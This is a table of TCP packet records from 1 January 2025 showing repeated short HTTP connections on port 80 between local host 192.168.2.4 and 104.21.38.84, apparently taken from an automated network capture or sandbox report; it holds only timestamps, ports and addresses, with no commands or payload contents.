Jan 1, 2025 15:17:23.329267025 CET	49758	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:23.329720020 CET	80	49759	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:23.329786062 CET	49759	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:23.329941034 CET	49759	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:23.334695101 CET	80	49759	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:23.690326929 CET	49759	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:23.695229053 CET	80	49759	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:23.772867918 CET	80	49759	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:23.827464104 CET	49759	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:23.938360929 CET	49759	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:23.938632011 CET	49760	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:23.943373919 CET	80	49759	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:23.943458080 CET	49759	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:23.943486929 CET	80	49760	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:23.943557978 CET	49760	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:23.943665981 CET	49760	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:23.948420048 CET	80	49760	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:24.064687967 CET	49761	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:24.069478035 CET	80	49761	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:24.069547892 CET	49761	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:24.069658995 CET	49761	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:24.074450970 CET	80	49761	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:24.296307087 CET	49760	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:24.301151991 CET	80	49760	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:24.301234007 CET	80	49760	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:24.398389101 CET	80	49760	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:24.421294928 CET	49761	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:24.426143885 CET	80	49761	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:24.452531099 CET	49760	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:24.532274961 CET	80	49761	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:24.577534914 CET	49761	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:24.586608887 CET	80	49760	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:24.640072107 CET	49760	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:24.816596985 CET	80	49761	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:24.858695984 CET	49761	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:24.934536934 CET	49760	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:24.934559107 CET	49761	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:24.935352087 CET	49762	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:24.939662933 CET	80	49760	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:24.939743042 CET	49760	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:24.940027952 CET	80	49761	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:24.940085888 CET	49761	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:24.940114975 CET	80	49762	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:24.940179110 CET	49762	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:24.940275908 CET	49762	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:24.945055962 CET	80	49762	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:25.296281099 CET	49762	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:25.460841894 CET	80	49762	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:25.514925957 CET	49762	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:25.608695984 CET	49762	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:25.664427996 CET	80	49762	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:25.664473057 CET	49762	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:25.664904118 CET	80	49762	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:25.669662952 CET	80	49762	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:26.016949892 CET	80	49762	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:26.017184019 CET	49762	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:26.022160053 CET	80	49762	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:26.022213936 CET	49762	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:26.137144089 CET	49763	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:26.141978025 CET	80	49763	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:26.142076015 CET	49763	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:26.142256975 CET	49763	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:26.147011995 CET	80	49763	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:26.504874945 CET	49763	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:26.509653091 CET	80	49763	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:26.615108967 CET	80	49763	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:26.655580997 CET	49763	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:26.783363104 CET	80	49763	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:26.827557087 CET	49763	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:26.915659904 CET	49763	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:26.916398048 CET	49764	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:26.920645952 CET	80	49763	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:26.920701981 CET	49763	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:26.921180010 CET	80	49764	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:26.921257019 CET	49764	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:26.921402931 CET	49764	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:26.926136017 CET	80	49764	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:27.280777931 CET	49764	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:27.285581112 CET	80	49764	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:27.393794060 CET	80	49764	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:27.436954975 CET	49764	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:27.645549059 CET	80	49764	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:27.702419043 CET	49764	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:27.776168108 CET	49764	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:27.776770115 CET	49765	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:27.781635046 CET	80	49764	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:27.781773090 CET	80	49765	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:27.781848907 CET	49764	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:27.781882048 CET	49765	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:27.782036066 CET	49765	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:27.786771059 CET	80	49765	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:28.140007019 CET	49765	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:28.144821882 CET	80	49765	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:28.229636908 CET	80	49765	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:28.280570030 CET	49765	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:28.485404015 CET	80	49765	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:28.530596972 CET	49765	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:28.615686893 CET	49765	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:28.616694927 CET	49766	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:28.620815992 CET	80	49765	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:28.620881081 CET	49765	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:28.621524096 CET	80	49766	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:28.621582985 CET	49766	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:28.621690989 CET	49766	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:28.626461029 CET	80	49766	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:28.968142986 CET	49766	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:28.973031998 CET	80	49766	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:29.111769915 CET	80	49766	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:29.155564070 CET	49766	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:29.535990000 CET	80	49766	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:29.577439070 CET	49766	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:29.579487085 CET	80	49766	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:29.579540968 CET	49766	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:29.594295025 CET	49767	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:29.599159002 CET	80	49767	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:29.599247932 CET	49767	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:29.599365950 CET	49767	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:29.604195118 CET	80	49767	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:29.652673960 CET	49768	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:29.657542944 CET	80	49768	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:29.657800913 CET	49768	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:29.657921076 CET	49768	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:29.662704945 CET	80	49768	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:29.952606916 CET	49767	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:29.957483053 CET	80	49767	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:29.957528114 CET	80	49767	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:30.015000105 CET	49768	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:30.019865036 CET	80	49768	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:30.050770998 CET	80	49767	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:30.093251944 CET	49767	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:30.130539894 CET	80	49768	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:30.171181917 CET	49768	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:30.312690020 CET	80	49767	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:30.316365957 CET	80	49768	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:30.358655930 CET	49768	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:30.358772039 CET	49767	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:30.449738026 CET	49766	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:30.449742079 CET	49767	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:30.449799061 CET	49768	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:30.450529099 CET	49769	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:30.454782009 CET	80	49766	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:30.454942942 CET	49766	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:30.455169916 CET	80	49767	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:30.455174923 CET	80	49768	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:30.455244064 CET	49768	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:30.455250978 CET	49767	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:30.455307961 CET	80	49769	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:30.455389977 CET	49769	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:30.455486059 CET	49769	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:30.460221052 CET	80	49769	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:30.811937094 CET	49769	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:30.816724062 CET	80	49769	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:30.896677017 CET	80	49769	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:30.936764956 CET	49769	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:31.071309090 CET	80	49769	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:31.124280930 CET	49769	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:31.198412895 CET	49770	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:31.204071999 CET	80	49770	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:31.204158068 CET	49770	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:31.204241991 CET	49770	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:31.209089994 CET	80	49770	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:31.561856985 CET	49770	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:31.567044973 CET	80	49770	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:31.667845011 CET	80	49770	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:31.718023062 CET	49770	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:31.927000999 CET	80	49770	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:31.968039989 CET	49770	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:32.050628901 CET	49770	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:32.051332951 CET	49771	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:32.055635929 CET	80	49770	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:32.055702925 CET	49770	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:32.056173086 CET	80	49771	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:32.056240082 CET	49771	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:32.056366920 CET	49771	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:32.061106920 CET	80	49771	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:32.405633926 CET	49771	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:32.410449982 CET	80	49771	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:32.499782085 CET	80	49771	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:32.546230078 CET	49771	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:32.778347015 CET	80	49771	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:32.827491045 CET	49771	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:32.900238037 CET	49769	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:32.902188063 CET	49771	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:32.902770042 CET	49772	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:32.907177925 CET	80	49771	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:32.907293081 CET	49771	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:32.907546997 CET	80	49772	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:32.907613039 CET	49772	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:32.907730103 CET	49772	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:32.912581921 CET	80	49772	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:33.265067101 CET	49772	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:33.269887924 CET	80	49772	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:33.358594894 CET	80	49772	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:33.405499935 CET	49772	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:33.534995079 CET	80	49772	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:33.577397108 CET	49772	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:33.651803017 CET	49772	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:33.652407885 CET	49773	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:33.656840086 CET	80	49772	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:33.657201052 CET	80	49773	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:33.657272100 CET	49772	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:33.657296896 CET	49773	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:33.657401085 CET	49773	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:33.662096977 CET	80	49773	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:34.014983892 CET	49773	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:34.019870996 CET	80	49773	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:34.121975899 CET	80	49773	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:34.171140909 CET	49773	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:34.368278027 CET	80	49773	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:34.421145916 CET	49773	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:34.495698929 CET	49773	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:34.496285915 CET	49774	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:34.796152115 CET	49773	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:35.332335949 CET	49775	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:35.405498028 CET	49773	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:35.466753006 CET	49776	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:35.518313885 CET	80	49774	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:35.518342018 CET	80	49773	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:35.518358946 CET	49774	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:35.518369913 CET	80	49775	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:35.518384933 CET	80	49773	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:35.518398046 CET	80	49776	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:35.518409014 CET	80	49773	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:35.518428087 CET	49775	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:35.518451929 CET	49773	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:35.518466949 CET	49776	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:35.518626928 CET	49775	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:35.518779039 CET	49776	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:35.527586937 CET	80	49775	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:35.527596951 CET	80	49776	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:35.874438047 CET	49775	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:35.874449015 CET	49776	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:35.879311085 CET	80	49775	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:35.879486084 CET	80	49775	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:35.879508972 CET	80	49776	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:35.963228941 CET	80	49775	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:35.985129118 CET	80	49776	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:36.014848948 CET	49775	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:36.030494928 CET	49776	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:36.158505917 CET	80	49776	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:36.202497005 CET	49776	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:36.239012957 CET	80	49775	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:36.276408911 CET	49776	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:36.276411057 CET	49775	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:36.277034998 CET	49777	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:36.281985044 CET	80	49777	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:36.282058954 CET	49777	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:36.282156944 CET	49777	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:36.284672976 CET	80	49776	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:36.284773111 CET	80	49775	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:36.284820080 CET	49776	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:36.284836054 CET	49775	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:36.286968946 CET	80	49777	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:36.640278101 CET	49777	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:36.814971924 CET	80	49777	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:36.815473080 CET	80	49777	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:36.858652115 CET	49777	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:37.157233000 CET	80	49777	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:37.202394009 CET	49777	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:37.277364016 CET	49778	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:37.282243967 CET	80	49778	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:37.282356977 CET	49778	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:37.282489061 CET	49778	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:37.287292957 CET	80	49778	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:37.646486044 CET	49778	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:37.651437044 CET	80	49778	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:37.726305008 CET	80	49778	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:37.780483961 CET	49778	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:38.000798941 CET	80	49778	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:38.046111107 CET	49778	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:38.124182940 CET	49778	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:38.125205040 CET	49779	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:38.130786896 CET	80	49779	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:38.130862951 CET	49779	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:38.131031036 CET	49779	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:38.131526947 CET	80	49778	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:38.131578922 CET	49778	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:38.135849953 CET	80	49779	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:38.483792067 CET	49779	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:38.488683939 CET	80	49779	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:38.575665951 CET	80	49779	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:38.624304056 CET	49779	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:38.840265989 CET	80	49779	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:38.889970064 CET	49779	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:38.965325117 CET	49779	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:38.965769053 CET	49780	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:38.970402956 CET	80	49779	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:38.970468998 CET	49779	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:38.970654011 CET	80	49780	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:38.970727921 CET	49780	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:38.970963955 CET	49780	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:38.975778103 CET	80	49780	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:39.327477932 CET	49780	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:39.332535028 CET	80	49780	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:39.454524994 CET	80	49780	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:39.499315977 CET	49780	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:39.716037035 CET	80	49780	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:39.764842033 CET	49780	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:39.837708950 CET	49780	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:39.838357925 CET	49781	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:39.844633102 CET	80	49780	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:39.844666958 CET	80	49781	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:39.844746113 CET	49780	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:39.844778061 CET	49781	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:39.844899893 CET	49781	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:39.850807905 CET	80	49781	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:40.202440977 CET	49781	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:40.207377911 CET	80	49781	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:40.300312996 CET	80	49781	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:40.342973948 CET	49781	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:40.682260990 CET	80	49781	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:40.733592033 CET	49781	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:40.807749033 CET	49781	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:40.808420897 CET	49782	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:40.812906027 CET	80	49781	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:40.812984943 CET	49781	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:40.813344955 CET	80	49782	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:40.813457012 CET	49782	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:40.813543081 CET	49782	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:40.818351030 CET	80	49782	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:41.171201944 CET	49782	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:41.176130056 CET	80	49782	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:41.250286102 CET	49783	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:41.250475883 CET	49782	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:41.255156994 CET	80	49783	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:41.255228043 CET	49783	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:41.255465031 CET	49783	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:41.255481005 CET	80	49782	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:41.255662918 CET	49782	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:41.260297060 CET	80	49783	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:41.372188091 CET	49784	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:41.377193928 CET	80	49784	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:41.377351999 CET	49784	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:41.382822990 CET	49784	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:41.387639999 CET	80	49784	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:41.608688116 CET	49783	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:41.613591909 CET	80	49783	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:41.613665104 CET	80	49783	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:41.700131893 CET	80	49783	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:41.733715057 CET	49784	80	192.168.2.4	104.21.38.84
